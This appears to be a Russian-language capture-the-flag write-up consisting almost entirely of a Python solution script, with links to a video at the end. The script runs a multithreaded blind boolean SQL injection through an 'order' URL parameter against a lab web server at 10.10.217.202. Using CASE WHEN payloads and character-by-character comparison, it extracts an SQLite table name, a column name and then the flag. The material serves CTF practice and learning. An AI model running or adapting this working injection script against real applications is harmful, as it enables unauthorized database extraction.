Код решения:

import threading
import requests

# Все возможные символы для перебора
chars = [chr(i) for i in range(33, 127)]

session = requests.Session()
url = 'http://10.10.217.202/'

# Длина искомых строк — подстрой под свои данные
MAX_LEN = 38

# Сохраняем ответы по этапам
answr = ['' for _ in range(MAX_LEN)]

table_name = ""
column_name = ""
flag = ""

# ВАЖНО: Эталонный ответ — берём с тем же ELSE, что и в запросах (здесь 'done')
that_one_answer = session.get(url + '?order=(CASE WHEN (1=1) THEN title ELSE done END); --').content

def columnname(i: int, u: str, c: str):
    payload = f"?order=(CASE WHEN (SELECT substr(name, {i}, 1) FROM pragma_table_info('{table_name}')) = '{c}' THEN title ELSE done END); --"
    return session.get(u + payload)

def tablename(i: int, u: str, c: str):
    payload = f"?order=(CASE WHEN (SELECT substr(name, {i}, 1) FROM sqlite_schema WHERE type='table' LIMIT 1 OFFSET 1) = '{c}' THEN title ELSE done END); --"
    return session.get(u + payload)

def get_flag(i: int, u: str, c: str):
    payload = f"?order=(CASE WHEN (SELECT substr({column_name}, {i}, 1) FROM {table_name}) = '{c}' THEN title ELSE done END); --"
    return session.get(u + payload)

def mn(i: int):
    for c in chars:
        fail = True
        while fail:
            try:
                if action == "get_flag":
                    response = get_flag(i, url, c)
                elif action == "columnname":
                    response = columnname(i, url, c)
                else:
                    response = tablename(i, url, c)
            except Exception as e:
                print(f"[!] Exception for char '{c}' at pos {i}: {e}")
                continue
            else:
                fail = False

        equal = (response.content == that_one_answer)

        if equal:
            answr[i-1] = c
            break

actions = ["tablename", "columnname", "get_flag"]

for action in actions:
    print(f"=== Starting action: {action} ===")
    threads = []

    for j in range(MAX_LEN):
        t = threading.Thread(target=mn, args=(j+1,))
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

    print(f"[{action.upper()}] Result: {''.join(answr)}")

    if action == "tablename":
        table_name = ''.join(answr)
    elif action == "columnname":
        column_name = ''.join(answr)
    else:
        flag = ''.join(answr)

    answr = ['' for _ in range(MAX_LEN)]

print(f"Final table: {table_name}")
print(f"Final column: {column_name}")
print(f"Final flag: {flag}")

Видео выполнения

• Оригинал:
• YouTube